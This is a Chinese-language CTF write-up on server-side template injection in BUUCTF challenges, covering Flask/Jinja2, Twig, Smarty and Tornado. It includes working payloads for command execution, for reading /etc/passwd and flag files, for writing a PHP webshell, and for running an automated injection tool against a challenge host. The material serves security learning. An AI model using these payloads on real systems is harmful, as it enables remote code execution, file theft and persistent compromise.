首页 > 其他分享 >BUUCTF SSTI模板注入

BUUCTF SSTI模板注入

时间:2024-05-26 16:34:12浏览次数:29  
标签:__ .__ builtins globals Smarty BUUCTF SSTI 模板

BUUCTF SSTI模板注入

基础原理

SSTI模板注入(Server-Side Template Injection),通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者 getshell 的目的

一般特征函数:render_template_string

SSTI_flask_labs

image-20240313211010551

可以看到数据被解析了,那么怎么注入呢?

1 __class__ 可以返回当前变量的类型:

image-20240313212504217

image-20240313212535642

image-20240313212550815

然后这些类型的基类(也就是父类)都是 object ,而我们要的能够命令执行的类的基类(父类)也是 object ,所以 ssti 基本思路就是通过类之间的转换得到我们需要的。

2 .1__bases__ 可以返回当前类的基类(父类)

image-20240313213147806

image-20240313213202958

可以加个数组进行索引:

image-20240313213242436

至此便得到了 object

2.2 __mro__ 也可以返回基类(父类)

image-20240313213507305

只不过它回把原类显出来,可以加个数组只索引 object

image-20240313213607273

3 __subclasses__() 可以查当前类的子类

image-20240313213903438

我们需要的是 <class 'os._wrap_close'> 这个类

屏幕截图 2024-03-13 214757

4 __init__.__globals__

__init__函数初始化类,返回类型为function:

QQ截图20240517203124

然后接__globals__函数(解释一:使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。)(解释二:该特殊属性能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules,这里看到是支持__builtins__的)

image-20240313215800213

最后执行命令

code={{''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']("ls /").read()}}

image-20240313215937990

当然方法不只一种,但大概原理都差不多,

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}  //也行

参考:https://blog.csdn.net/cjdgg/article/details/115770395

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。

request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {{g}}得到<flask.g of 'flask_ssti'>

参考:https://blog.csdn.net/rfrder/article/details/113866139

常用的过滤函数:



int():将值转换为int类型;

float():将值转换为float类型;

lower():将字符串转换为小写;

upper():将字符串转换为大写;

title():把值中的每个单词的首字母都转成大写;

capitalize():把变量值的首字母转成大写,其余字母转小写;

trim():截取字符串前面和后面的空白字符;

wordcount():计算一个长字符串中单词的个数;

reverse():字符串反转;

replace(value,old,new): 替换将old替换为new的字符串;

truncate(value,length=255,killwords=False):截取length长度的字符串;

striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;

escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。

safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};

list():将变量列成列表;

string():将变量转换成字符串;

join():将一个序列中的参数值拼接成字符串。示例看上面payload;

abs():返回一个数值的绝对值;

first():返回一个序列的第一个元素;

last():返回一个序列的最后一个元素;

format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!

length():返回一个序列或者字典的长度;

sum():返回列表内数值的和;

sort():返回排序后的列表;

default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。

length()返回字符串的长度,别名是count

对于简单的也可以用工具

image-20240313220712675

题目练习

简单

[CSCCTF 2019 Qual]FlaskLight

参数 search

找到 object 的所有子类,

image-20240314205600176

但是里面没有 os 的类,看师傅们wp发现还可以用 subprocess.Popen 进行命令执行(可以手工试,也可以用脚本遍历)

构造:

{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0]}}
也可以
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

image-20240314210102138

继续拿到 flag 即可

[BJDCTF2020]Cookie is so stable twig模板注入

进入题目在FLAG页面有登录按钮,在当登录时抓包,发现post多了参数,但不管怎么改 username 参数都没用,然后再在登录进去时进行抓包,发现在cookie又多了个参数,传参,发现渲染成功,猜测可能渲染的不是登录的时的 username ,而是渲染的登录后用户名

在user处尝试注入

{{7*'7'}} 回显7777777 ==> Jinja2
{{7*'7'}} 回显49 ==> Twig 

image-20240314212512054

可以看到这里为 Twig 模板,而且题目也提示了。这个模板关键词 createTemplaterender

注入原理:

image-20240314221356044

这道题什么都没有过滤,直接复制payload

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}

这个payload只适用于Twig 1.x

Twig 3.x可以利用过滤器来执行命令

{{["id"]|map("system")}}
{{["id"]|map("passthru")}}
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}}    // 无回显
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}}    // 无回显

这道题时 Twig 1.x

image-20240314222226024

Twig 模板注入常用 payload

{{'/etc/passwd'|file_excerpt(1,30)}}
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("whoami")}}
{{_self.env.enableDebug()}}{{_self.env.isDebug()}}
{{["id"]|map("system")|join(",")
{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}
{{["id",0]|sort("system")|join(",")}}
{{["id"]|filter("system")|join(",")}}
{{[0,0]|reduce("system","id")|join(",")}}
{{['cat /etc/passwd']|filter('system')}}

[VolgaCTF 2020]Qualifier]Newsellter

云做一道题。

这里主要绕过的就是

image-20240314223536985

[WesternCTF2018]shrine

看到源码

image-20240320125324283

payload

{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

得到flag

屏幕截图 2024-03-20 124912

[CISCN2019 华东南赛区]Web11

页脚发现:

image-20240320132717802

1、Smarty SSTI利用:

Smarty是基于PHP开发的,对于Smarty的SSTI的利用手段与常见的flask的SSTI有很大区别。

2、漏洞验证:

一般情况下输入{$smarty.version}就可以看到返回的smarty的版本号。该题目的Smarty版本是3.1.30

微信截图_20240320132553

当然还要其他验证

a{*comment*}b //确定为smarty模板

3、常规利用方式:

一、

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}{/php}标签会报错

原因:

Smarty3已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

二、

{literal} 标签

官方手册这样描述这个标签:

{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。

// 从PHP7开始,这种写法,已经不支持了

这道题是php7环境,所以不行

三、

通过self获取Smarty类再调用其静态方法实现文件读写被网上很多文章采用。

很多文章里给的payload都形如:{self::getStreamVariable(“file:///etc/passwd”)}

这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除

四、

{if}标签

官方文档中看到这样的描述:

Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}

构造:

{if phpinfo()}{/if}
{if readfile ('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat /flag')}{/if}

微信截图_20240320133701

[BJDCTF2020]The mystery of ip

简单的 smarty 模板注入,注入点为 XFF

image-20240321132607514

[GYCTF2020]FlaskApp debug

image-20240321183644612

fenjing一把梭了:

python3 -m fenjing  crack -u http://3254228f-4070-4802-8291-5610fe005d13.node5.buuoj.cn/decode -i text  --tamper-cmd base64

image-20240321192412497

其构造的paylaod:

{%set wp='so'[::-1]%}
{%set ca='txt.galf_eht_si_siht/ tac'[::-1]%}
{{cycler.next.__globals__.__builtins__['__i''mport__'](wp)['p''open'](ca).read()}} 

中等

[护网杯 2018]easy_tornado

tornado 模板,直接看师傅们的wp:

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

image-20240321201844352

payload:

{{handler.settings}}

得到 cookie_secret

微信截图_20240321201742

image-20240321204431434

进行md5编码

image-20240321202455939

php也行(字符串连接用点):

image-20240321205550400

得到flag

image-20240321202437565

[CISCN2019 华东南赛区]Double Secret

路由和参数都是secret。乱输一通报错:

image-20240321211255389

进行了rc4解码然后再进行模板渲染,

所以构造payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}
//进行rc4编码

image-20240321212110451

得到flag:

image-20240321212056597

标签:__,.__,builtins,globals,Smarty,BUUCTF,SSTI,模板
From: https://www.cnblogs.com/gaorenyusi/p/18213835

相关文章

  • 自用:常见算法竞赛/刷题问题 & 模板
    以下是我平常刷题遇到的部分常见问题,随手记录一下。(不定时更新)基本算法二维前缀和for(inti=1;i<=m;++i){ for(intj=1;j<=n;++j) { pre[i][j]=pre[i-1][j]+pre[i][j-1]-pre[i-1][j-1]+nums[i][j]; }}//异或版本for(inti=1;i......
  • BUUCTF:Misc 解析(十)
    前言BuuctfWeb是一个在线安全挑战平台,旨在提高参与者对网络安全的理解和实践能力。本文将详细介绍BuuctfWeb的特点、挑战和机遇,帮助读者更好地了解这一领域。一、BuuctfWeb的特点多样化的挑战场景:BuuctfWeb提供了多种挑战场景,包括Web漏洞利用、密码破解、CTF夺......
  • BUUCTF:Crypto 解析(三)
    前言BuuctfWeb是一个在线安全挑战平台,旨在提高参与者对网络安全的理解和实践能力。本文将详细介绍BuuctfWeb的特点、挑战和机遇,帮助读者更好地了解这一领域。一、BuuctfWeb的特点多样化的挑战场景:BuuctfWeb提供了多种挑战场景,包括Web漏洞利用、密码破解、CTF夺......
  • 线段树结构体模板
    线段树是一种维护区间和等功能的数据结构structSegTree{ structnode{ intl,r,sum,len,laz; }tree[N<<2]; inlinevoidpushdown(intu){ intlson=u<<1,rson=lson|1; tree[lson].laz+=tree[u].laz; tree[rson].laz+=tree[u].laz; tree[lson].sum+=tree[lson].len......
  • BUUCTF-WEB(36-40)
    [BSidesCF2020]Hadabadday参考:[BUUCTF:BSidesCF2020]Hadabadday_末初的技术博客_51CTO博客[buuctf-BSidesCF2020]Hadabadday(小宇特详解)-CSDN博客应该是文件包含我这里使用;1,然后报错,我发现他是直接会加上一个.php,那我们试试伪协议读取?category=php://filter/......
  • 【知识点】深入浅出STL标准模板库
    前几天谈论了许多关于数论和数据结构的东西,这些内容可能对初学者而言比较晦涩难懂(毕竟是属于初高等算法/数据结构的范畴了)。今天打算来讲一些简单的内容-STL标准模板库。STL标准模板库C++标准模板库(StandardTemplateLibrary,STL),是C++语言非常重要的一个构成部分......
  • BUUCTF-Misc(41-50)
    秘密文件对ftp的数据进行追踪流找到里面被偷走了一个压缩包,然后我们暴力破解解压得到flag[BJDCTF2020]鸡你太美参考:[BUUCTF:BJDCTF2020]鸡你太美_buuctf鸡你太美-CSDN博客篮球的gif篮球副本.gif发现少了47494638我们给文件头补全flag{zhi_yin_you_are_beautif......
  • 一个模板元函数来检查一个类是否有一个特定的成员
    通过创建一个模板元函数来检查一个类是否有一个特定的成员。以下是一个例子:#include<type_traits>template<typenameT,typename=void>structhas_type_member:std::false_type{};template<typenameT>structhas_type_member<T,std::void_t<typenameT::typ......
  • 『C++初阶』第四章--- 模板初级
    1.泛型编程    如何实现一个适合于所有类型的通用的交换函数呢?voidSwap(int&left,int&right){inttemp=left;left=right;right=temp;}voidSwap(double&left,double&right){doubletemp=left;left=right;right=temp;}voidSwap(ch......
  • BUUCTF-Misc(31-40)
    荷兰宽带数据泄露参考Bugku宽带信息泄露详解MISC_bugku宽带信息泄露-CSDN博客bin文件:二进制文件,其用途依系统或应用而定。一种文件格式binary的缩写。一个后缀名为".bin"的文件,只是表明它是binary格式。比如虚拟光驱文件常用".bin"作为后缀,但并不意味着所有的bin文件都是虚......